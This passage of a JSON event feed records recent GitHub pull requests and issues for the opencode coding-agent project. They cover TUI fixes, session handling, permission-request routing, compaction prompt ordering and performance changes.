        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42073",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): keep exact-fit tab titles stationary",
          "text": "## What Keep exact-fit session tab titles stationary and free of overflow fades when hover reveals the close button. ## Before / After **Before** A title that exactly filled its resting tab width became one or two cells too wide only because hover reserved space for `×`. That activated the marquee and its leading-edge fade, producing a dark mass at the front of an otherwise stationary-looking title. **After** Overflow is classified against the tab's resting title width. Exact-fit titles remain stationary and unfaded on hover; titles that already overflowed continue to marquee within the narrower hovered viewport. ## How - Add a strict display-cell overflow predicate in `packages/tui/src/util/marquee.ts`. - Separate resting title width from the temporary hovered viewport in horizontal and vertical session tabs. - Use resting width for marquee eligibility and overflow fades while retaining the hovered width for clipping and close-button layout. ## Testing - `bun run test test/util/marquee.test.ts` from `packages/tui` - `bun typecheck` from `packages/tui` - Pre-push `bun turbo typecheck --concurrency=3`",
          "url": "https://github.com/anomalyco/opencode/pull/42073",
          "createdAt": "2026-08-12T16:03:04Z",
          "updatedAt": "2026-08-12T16:17:49Z",
          "timestamp": "2026-08-12T16:17:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:bd369d299a47ffe1d0c7",
        "signalId": "github:anomalyco/opencode:pull_request:30639",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:30639",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): route nested blockers to ancestor clients",
          "text": "### Issue for this PR Closes #13715 Also addresses #7654. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Nested Task sessions can raise permission and question requests several levels below the root. The TUI, `opencode run`, and ACP previously matched only the session they directly tracked, so deeper requests could be dropped. The TUI now reads blockers from the full in-memory session subtree. `opencode run` discovers existing descendants on attach, follows new descendants while streaming, and resolves ancestry when events arrive out of order. ACP follows parent links to the managed session and serializes its permission prompts. Tree discovery has cancellation, request and total timeouts, bounded concurrency, a session limit, and cycle detection. ACP shutdown cancels retained lookups and queued prompts, and duplicate events share the pending request. ### How did you verify your code works? The focused opencode suite passes 70 tests. The TUI subtree tests pass. Subprocess tests cover a grandchild permission in both headless run and ACP. `bun typecheck` passes in `packages/opencode` and `packages/tui`. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/30639",
          "createdAt": "2026-06-03T23:15:43Z",
          "updatedAt": "2026-08-12T16:12:27Z",
          "timestamp": "2026-08-12T16:12:27Z",
          "metrics": {
            "reactions": 3,
            "comments": 3
          },
          "labels": [],
          "author": "literally-dan",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:50accde08e2106175090",
        "signalId": "github:anomalyco/opencode:pull_request:38683",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38683",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): retry transient transport failures",
          "text": "### Issue for this PR Closes #30611 This replaces #30638, which was closed by automated cleanup. I rebased the change on the current `dev` branch, tightened the transport error handling, and limited retries for these failures. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Transport errors are often wrapped by the provider SDK, so checking only the top-level error misses failures such as dropped sockets and response timeouts. `MessageV2.fromError` now walks a bounded cause chain and recognizes transient Node, Bun, and Undici transport errors. Missing hosts, refused endpoints, and socket setup failures remain terminal. A plain `AbortError` still means the request was cancelled. Transport retries stop after five attempts. Existing retry behavior for rate limits and provider errors is unchanged. ### How did you verify your code works? `bun test test/session/message-v2.test.ts test/session/retry.test.ts` passes 107 tests. `bun typecheck` also passes in `packages/opencode`. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/38683",
          "createdAt": "2026-07-24T11:16:41Z",
          "updatedAt": "2026-08-12T16:11:59Z",
          "timestamp": "2026-08-12T16:11:59Z",
          "metrics": {
            "reactions": 3,
            "comments": 1
          },
          "labels": [],
          "author": "literally-dan",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:923837ce1ac51aac9d92",
        "signalId": "github:anomalyco/opencode:pull_request:41701",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41701",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): speed up long session forks",
          "text": "### Issue for this PR Closes #41698 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? A synthetic 986-message session now forks in **625 ms instead of 4.3 s** — **6.8× faster**. Forks publish and project cloned events in 3,000-event batches, while source messages are read in 1,000-message pages. The SQLite schema and single-event publishing path are unchanged. ### Benchmark #### Environment - Host: MacBookPro18,1, Apple M1 Pro, 32 GiB, arm64 - Software: macOS 26.5.2, Bun 1.3.14 - Database: Fresh SQLite file per run (`MAX_VARIABLE_NUMBER=500000`) - Method: Same worktree and dependencies, 5 runs per revision, `session.fork(...)` only #### Fixture | Messages | Parts | Summary | Durable events | Data | | ---: | ---: | ---: | ---: | --- | | 986 | 5,657 (493 `step-finish`) | 25 MiB | 6,644 | Generated by the benchmark | #### Raw results | Run | Baseline `5635afc949` (ms) | PR head `5960d14fd1` (ms) | | ---: | ---: | ---: | | 1 | 4,274 | 656 | | 2 | 4,255 | 665 | | 3 | 4,246 | 613 | | 4 | 4,081 | 619 | | 5 | 4,281 | 625 | | Median | 4,255 | 625 | #### Improvement | Median | Reduction | Speedup | | ---: | ---: | ---: | | 4,255 ms → 625 ms | 85.3% | 6.8× | ### How did you verify your code works? - `packages/core`: typecheck; 1,084 tests passed - `packages/opencode`: typecheck; 3,268 tests passed, 22 skipped, 1 todo - Fork benchmark: 5 runs per revision - Pre-push workspace typecheck: 30/30 tasks passed ### Screenshots / recordings N/A — this is a non-UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41701",
          "createdAt": "2026-08-11T07:47:33Z",
          "updatedAt": "2026-08-12T16:11:09Z",
          "timestamp": "2026-08-12T16:11:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "evan-choi",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:0298216bc7f628919d25",
        "signalId": "github:anomalyco/opencode:issue:41339",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41339",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Plugin slash commands pass through as raw text in OpenCode Desktop v1.18.15 (regression)",
          "text": "# Issue draft: Plugin slash commands pass through as raw text in OpenCode Desktop v1.18.15 (regression) **Repo**: github.com/anomalyco/opencode **Type**: Bug / Regression **Component**: Desktop app command handling (plugin `command` hooks) ## Summary In **OpenCode Desktop v1.18.15**, plugin-registered slash commands (e.g. `/magic-compact 5`, `/magic-stats` from the `magic-compact` plugin, v1.2.2) are **not intercepted** — they pass through to the model as raw user text. The same plugin works correctly in the CLI (verified end-to-end: command fires, backup session created, summaries injected, stats written). This is a **regression**: the same symptom was previously reported and fixed in July for an older desktop build (issue #1 — \"Command not available in OpenCode Desktop\"), but v1.18.15 has it again. ## Environment - OS: Windows 11 - OpenCode Desktop v1.18.15 - Plugin: `magic-compact` v1.2.2 (npm, loaded via `plugin` array in opencode.jsonc) - Same config in CLI: works ## Steps to reproduce 1. Install `magic-compact` in `opencode.jsonc` plugin array 2. Open OpenCode Desktop v1.18.15 3. Type `/magic-compact 5` and send 4. Observe: the model receives the literal text `/magic-compact 5` and responds conversationally ## Expected The plugin's command hook fires (as it does in the CLI: `opencode run -s <session> --command magic-compact 5`), performing compaction and injecting a summary. ## Actual Text passes through unhandled. No plugin execution. Verified same behavior for `/magic-stats`. ## Impact All command-based plugins are affected in the desktop app — not just magic-compact (same class as previous issue #1). ## Workaround (for users) Use the CLI for command plugins: `opencode run -s <session-id> --command magic-compact 5` ## Suggested fix Re-audit the desktop app's command parsing path (regression of the July fix). Likely the desktop input handler sends command-looking input to the model session directly instead of routing through the plugin `command` hook, or the plugin command registry isn't hydrated before the first message in the desktop shell.",
          "url": "https://github.com/anomalyco/opencode/issues/41339",
          "createdAt": "2026-08-08T23:40:11Z",
          "updatedAt": "2026-08-12T16:09:25Z",
          "timestamp": "2026-08-12T16:09:25Z",
          "metrics": {
            "reactions": 2,
            "comments": 4
          },
          "labels": [],
          "author": "Khister1",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f7c6dcaa53a5bc05e71a",
        "signalId": "github:anomalyco/opencode:pull_request:38684",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38684",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(storage): index session list queries",
          "text": "### Issue for this PR Closes #30609 This replaces #30636, which was closed by automated cleanup. I rebased the change on the current `dev` branch and updated the indexes to match the queries now used by session lists. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Session lists sort by update time, but the existing indexes cover only their filter columns. The project index is now `(project_id, time_updated)`, the root-session index is `(parent_id, time_updated, id)`, and the global list has `(time_updated, id)`. Project and parent lookups can still use the leftmost columns of those indexes. The migration replaces the old single-column indexes. It also handles databases that tested the earlier single-column `session_time_updated_idx`. ### How did you verify your code works? `bun test test/database-migration.test.ts` passes all 18 tests. `bun typecheck` and `bun script/migration.ts --check` also pass in `packages/core`. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/38684",
          "createdAt": "2026-07-24T11:16:42Z",
          "updatedAt": "2026-08-12T16:09:21Z",
          "timestamp": "2026-08-12T16:09:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "literally-dan",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:602cfafd8939a7f24ac4",
        "signalId": "github:anomalyco/opencode:pull_request:42067",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42067",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): generate session titles before model execution",
          "text": "## What Generate a new root session's title as soon as its first admitted prompt becomes visible, instead of waiting for the first model step and its tool calls to finish. This restores the responsive title behavior from V1 while preserving V2's durable prompt admission boundary: queued input does not trigger title generation until it is promoted. ## Before / After **Before:** the runner promoted the first prompt, completed the first model step and any local tool execution, then forked title generation. A tool-heavy first response could leave the fallback session title visible for minutes. **After:** the runner promotes the prompt, forks title generation, and immediately continues into context loading and the main model request. The title and first model step run concurrently, and either title or model failure remains isolated from the other. ## How - `packages/core/src/session/runner/llm.ts` starts the existing coalesced title fiber immediately after `SessionPending.promote(...)` reports newly visible input. - Removes the post-`runStep` title trigger. - Adds a regression test that blocks the first model stream indefinitely and verifies the session is renamed while that step is still running. - Updates retry coverage for the new title-first request ordering and verifies title generation still retries after both title and execution failures. ## Scope This does not generate titles for merely admitted queued prompts. It does not change title model selection, title content, truncation, or retry policy. ## Testing - `bun run test test/session-runner.test.ts` from `packages/core`: 144 passing - `bun typecheck` from `packages/core` - Push hook: repository-wide `bun turbo typecheck --concurrency=3`, 32 tasks passing ## Flow ```mermaid sequenceDiagram participant Inbox as Durable prompt inbox participant Runner as Session runner participant Title as Title model participant Model as Main model Inbox->>Runner: Promote first eligible prompt Runner--)Title: Fork title generation Runner->>Model: Start first model step Title-->>Runner: Persist session rename Model-->>Runner: Stream response and tools ```",
          "url": "https://github.com/anomalyco/opencode/pull/42067",
          "createdAt": "2026-08-12T15:52:25Z",
          "updatedAt": "2026-08-12T16:08:26Z",
          "timestamp": "2026-08-12T16:08:26Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e38bdd16c809f7f6c850",
        "signalId": "github:anomalyco/opencode:pull_request:42012",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42012",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(compaction): place summary instruction after conversation history",
          "text": "### Issue for this PR Closes #41801 Refs #41268 Refs #41358 Refs #36682 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `/compact` (and auto-compaction) sends the summarization request as one user message: summary instruction first, then the serialized conversation. The conversation is formatted as a chat log (`[User]:` / `[Assistant]:`) and ends with a real user question from the past session, so the model answers that old question (or reproduces the transcript) instead of producing the summary — the instruction at the start is diluted, especially on 1M-context models like `opencode-go/deepseek-v4-flash` where the whole session fits. The summary template itself says \"using the conversation history above\", i.e. history-first was the intended layout; the call site inverts it. Change: put the conversation first, then \"End of conversation history.\", then the summary instruction + template, ending with an explicit guard that the history is reference material only and only the anchored summary must be output. Applied to both paths: 1. `packages/opencode/src/session/compaction.ts` — manual `/compact` and CLI auto-compaction. 2. `packages/core/src/session/compaction.ts` — runner/`make()` auto-compaction. The `experimental.session.compacting` plugin hook still works; a plugin-provided `prompt` now lands after the history. ### How did you verify your code works? - `tsgo --noEmit` typecheck passes for `packages/opencode` and `packages/core`. - New regression test `session.compaction.process > places the summary instruction after the conversation history` in `packages/opencode/test/session/compaction.test.ts` asserts the history precedes the instruction and that the guard line is the last content after any `[User]:` turn. - Full `test/session/compaction.test.ts` (54 pass), `test/session/revert-compact.test.ts` (8 pass) and `packages/core/test/session-compaction.test.ts` (2 pass) run green. - `oxlint` on both changed source files: 0 warnings, 0 errors. - Manual verification on a long session with `opencode-go/deepseek-v4-flash` (1M context): `/compact` now returns the anchored summary instead of answering the last question from the session. ### Screenshots / recordings _Not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42012",
          "createdAt": "2026-08-12T11:56:01Z",
          "updatedAt": "2026-08-12T16:04:04Z",
          "timestamp": "2026-08-12T16:04:04Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "akenra",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:cc9498d0fc15c0d10831",
        "signalId": "github:anomalyco/opencode:pull_request:42023",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42023",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(client): support service version ranges",
          "text": "### Issue for this PR Closes #42010 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Allows the existing `version` option in `Service.discover()` and `Service.ensure()` to accept npm semver ranges as well as exact values. ```ts await Service.ensure({ version: \">=2.0.0 <3.0.0\" }) ``` Valid semver expressions are matched as ranges, including prereleases. Non-semver values such as `local` and `test` keep their existing exact-string behavior. Promise and Effect service clients use the same matcher. ### How did you verify your code works? - `cd packages/client && bun test` (57 passed) - `cd packages/client && bun run typecheck` - `cd packages/client && bun run build` - Repository pre-push typecheck (32 packages passed) - Prettier and `git diff --check` Repository-wide lint still has one unrelated existing error in `packages/session-ui/src/v2/components/prompt-input/index.tsx:163`; targeted lint for the changed client files has zero errors. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42023",
          "createdAt": "2026-08-12T13:15:49Z",
          "updatedAt": "2026-08-12T16:01:39Z",
          "timestamp": "2026-08-12T16:01:39Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "mattrobrob",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:eaa6e56b0000cc189da0",
        "signalId": "github:anomalyco/opencode:pull_request:42072",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42072",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: add opencode-stream-rules to ecosystem",
          "text": "Adds [opencode-stream-rules](https://github.com/jiesou/opencode-stream-rules) to the ecosystem plugins table. It's a just-in-time rule injection plugin: rules stay dormant and are surfaced (via a SYSTEM NOTICE or a tool-call rejection) only when the agent is about to break one, keeping the system prompt clean. Inspired by oh-my-pi's time-traveling stream rules.",
          "url": "https://github.com/anomalyco/opencode/pull/42072",
          "createdAt": "2026-08-12T15:59:21Z",
          "updatedAt": "2026-08-12T16:01:37Z",
          "timestamp": "2026-08-12T16:01:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "jiesou",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:555e45c78c11a7ef5223",
        "signalId": "github:anomalyco/opencode:pull_request:42066",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42066",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): restore navigation keybind defaults",
          "text": "## What Restore the V2 TUI keybind defaults that were unintentionally overwritten or omitted by the command-ID migration in #41882: - `Option+Up` / `Option+Down` switch to the previous / next open tab. - `Option+Shift+Up` / `Option+Shift+Down` switch to the previous / next unread tab. - `Ctrl+0` and `<leader>0` select the tenth tab. - `Ctrl+O` opens the recent sessions and projects menu. - `Ctrl+Shift+T` reopens the last closed tab. - `<leader>I` opens image attachments. - message navigation remains configurable but unbound by default. - bare Home and End remain available for first/last message navigation rather than prompt-buffer boundaries. ## Before / After **Before** The command-ID migration replaced the current tab defaults with stale message-navigation and leader-arrow defaults. It also omitted definitions for commands that remained implemented and registered, so their defaults and migrated user overrides disappeared. Home and End were also rebound to prompt-buffer movement despite #40123 intentionally reserving them for message navigation. **After** The centralized command-ID definitions preserve the effective defaults from immediately before #41882 while retaining the new canonical command IDs. ## How - Restore the affected effective defaults in `packages/tui/src/config/keybind.ts` using canonical command IDs. - Add a focused parity test covering every restored default and omitted command. ## Scope This restores confirmed behavioral parity regressions only. It does not remove unrelated dead command definitions introduced by #41882; those can be audited separately without delaying this fix. ## Testing - `bun run test test/config-v2.test.tsx test/config.test.tsx test/keymap.test.tsx` from `packages/tui`: 31 passed, 0 failed. - `bunx prettier --check packages/tui/src/config/keybind.ts packages/tui/test/config-v2.test.tsx`: passed. - `git diff --check`: passed. - `bun typecheck` from `packages/tui`: blocked by unrelated generated-schema skew in the dependency-linked clean worktree (`location-switched`, AI transport, and system-message schema errors); no errors referenced the changed files.",
          "url": "https://github.com/anomalyco/opencode/pull/42066",
          "createdAt": "2026-08-12T15:49:30Z",
          "updatedAt": "2026-08-12T15:57:42Z",
          "timestamp": "2026-08-12T15:57:42Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:0f39cdb1d9c16b3618a2",
        "signalId": "github:anomalyco/opencode:issue:42070",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42070",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG ISSUE]: Agent remains stuck in compaction after usage limit resets",
          "text": "### Description ### Description This appears to be a follow-up to #41990 The original issue occurs when a long conversation reaches the point where OpenCode starts summarizing/compacting the conversation and then reports that the usage limit has been reached. In my case, after the usage limit has eventually reset due to time passing, the affected conversation does not recover. When I continue using the same conversation after the limit has reset, OpenCode appears to remain stuck in the compaction/summarization process. It continues attempting to operate in compaction mode rather than returning to the normal agent execution flow. The practical result is that the conversation never properly resumes or finishes. It behaves as though it is permanently in a compaction state. Starting a completely new conversation works normally under the same account, on the same machine, with the same usage limit. This suggests that the problem is specific to the state of the existing conversation after the usage-limit event. ### Steps to reproduce 1. Start a conversation and use it until it becomes long enough for OpenCode to begin conversation summarization/compaction. 2. Continue until the usage limit is reached during this process. 3. Leave the conversation until the usage limit resets naturally. 4. Return to the same conversation. 5. Continue interacting with the agent. 6. Observe that the conversation remains stuck in compaction/summarization instead of returning to normal agent execution. ### Expected behavior After the usage limit resets, the existing conversation should recover and continue normal agent execution. The previous usage-limit event should not leave the conversation permanently stuck in compaction. ### Actual behavior The conversation remains in, or repeatedly returns to, compaction mode even though the usage limit has already reset. The agent effectively never returns to its normal execution cycle, preventing the conversation from completing normally. Creating a new conversation works normally, which further suggests that some state associated with the affected conversation is not being reset correctly. ### Relation to #41990 This is related to the behavior described in #41990, but the failure occurs after the original usage-limit condition has cleared. The original problem is that reaching the usage limit during conversation summarization causes the limit error. This issue is about what happens afterward: once the limit resets, the existing conversation appears to remain permanently stuck in the compaction state. ### Environment * OpenCode version: 1.18.16 * OS: Windows 10 * Provider/model: Big Pickle * Plugins: No response",
          "url": "https://github.com/anomalyco/opencode/issues/42070",
          "createdAt": "2026-08-12T15:56:00Z",
          "updatedAt": "2026-08-12T15:57:31Z",
          "timestamp": "2026-08-12T15:57:31Z",
          "metrics": {
            "reactions": 2,
            "comments": 0
          },
          "labels": [],
          "author": "whilmarbitoco",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b599eb0df79b333b7b88",
        "signalId": "github:anomalyco/opencode:issue:42038",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42038",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Remove leftover Mintlify starter template from packages/docs",
          "text": "### Verify - [x] I have verified this feature I am requesting has not been suggested before. ### Describe the enhancement you want to request `packages/docs/` is a leftover Mintlify starter template (README says \"Mintlify Starter Kit\", quickstart.mdx/development.mdx/index.mdx and essentials/ are all generic Mintlify onboarding content, not OpenCode docs). It is not referenced anywhere: no CI workflow, turbo.json, package.json, sst.config.ts, or infra config touches it. The real docs live in `packages/web/` (Astro/Starlight at opencode.ai/docs). It also contains stale Mintlify links (e.g. quickstart.mdx links to `https://mintlify.com/community` which returns 404) and ai-tools/ pages that describe using Claude Code / Cursor to write Mintlify docs. Would the maintainers be open to removing this leftover `packages/docs/` directory (24 files)? Happy to submit a PR if so.",
          "url": "https://github.com/anomalyco/opencode/issues/42038",
          "createdAt": "2026-08-12T14:32:28Z",
          "updatedAt": "2026-08-12T15:57:23Z",
          "timestamp": "2026-08-12T15:57:23Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "skyzhao1223",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:430b1053e02ec6c19ba0",
        "signalId": "github:anomalyco/opencode:pull_request:42061",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42061",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): jump between open menu sections",
          "text": "## What Add section-level keyboard navigation to the Open menu: - `Option+Down` selects the first item in the next visible section. - `Option+Up` selects the first item in the previous visible section. - Navigation wraps between Sessions and Projects. - If filtering leaves one visible section, the selection remains in that section. ## How - `packages/tui/src/ui/dialog-select.tsx` adds opt-in section navigation based on the picker’s filtered groups and existing selection/scroll behavior. - `packages/tui/src/component/dialog-open.tsx` enables section navigation only for the Open menu. - `packages/tui/test/cli/tui/dialog-open.test.tsx` covers forward navigation, backward wrapping, and filtering to one section. ## Scope This does not change normal Up/Down navigation or enable section shortcuts in other select dialogs. ## Testing - `bun run test test/cli/tui/dialog-open.test.tsx test/cli/tui/dialog-select.test.tsx` from `packages/tui` (19 passed) - `bun typecheck` from `packages/tui` - Push hook: `bun turbo typecheck --concurrency=3` (32 tasks passed)",
          "url": "https://github.com/anomalyco/opencode/pull/42061",
          "createdAt": "2026-08-12T15:37:19Z",
          "updatedAt": "2026-08-12T15:52:52Z",
          "timestamp": "2026-08-12T15:52:52Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:ed43d79d39e6d0e8bf2f",
        "signalId": "github:anomalyco/opencode:issue:41691",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41691",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI: image attachment preview renders as a blank thumbnail",
          "text": "## Summary Image attachments do not render correctly in the OpenCode TUI. The attachment is shown as an almost blank, dark thumbnail with only the `[Image 1]` label, so its visual content cannot be reviewed in the chat. ## Environment - opencode version: `v0.0.0-next-17151` - OS: Fedora Linux 44 (Workstation Edition), kernel `7.1.7-200.fc44.x86_64` - Terminal: `herdr` - Shell: `zsh 5.9` - Install/channel: `next` - GPU: Intel Arc Pro 130T/140T (integrated) - Active plugins: `superpowers@git+https://github.com/obra/superpowers.git` ## Reproduction 1. Start the OpenCode TUI. 2. Attach an image to a prompt. 3. Send the prompt and inspect the image attachment preview in the chat history. ## Expected Behavior The attachment preview should render the image content in the TUI. ## Actual Behavior The preview renders as an almost empty dark thumbnail and displays only the `[Image 1]` label. The image content itself is not visible. ## Additional Context The issue was observed in a local workspace while using the `next` build. A screenshot is available in the associated report context. Reproduction frequency and whether it affects every image have not yet been determined.",
          "url": "https://github.com/anomalyco/opencode/issues/41691",
          "createdAt": "2026-08-11T06:59:10Z",
          "updatedAt": "2026-08-12T15:51:23Z",
          "timestamp": "2026-08-12T15:51:23Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "NguyenDTAnh",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:1b55d2e6fee21afd708e",
        "signalId": "github:anomalyco/opencode:pull_request:42062",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42062",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): fill image message background",
          "text": "## Summary - apply the user-message surface background to the outer transcript message container - extend the same background behind image previews without changing tool-result image styling or message interactions ## Validation - `bun typecheck` (`packages/tui`) - `bun test` (`packages/tui`): 678 passed, 5 skipped - real TUI before/after at 100×32 with the same standalone session and image attachment Requested by: @simonklee (Simon via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42062",
          "createdAt": "2026-08-12T15:38:45Z",
          "updatedAt": "2026-08-12T15:51:21Z",
          "timestamp": "2026-08-12T15:51:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:65b20517bf39491660d3",
        "signalId": "github:anomalyco/opencode:pull_request:42065",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42065",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): preserve transcript image height",
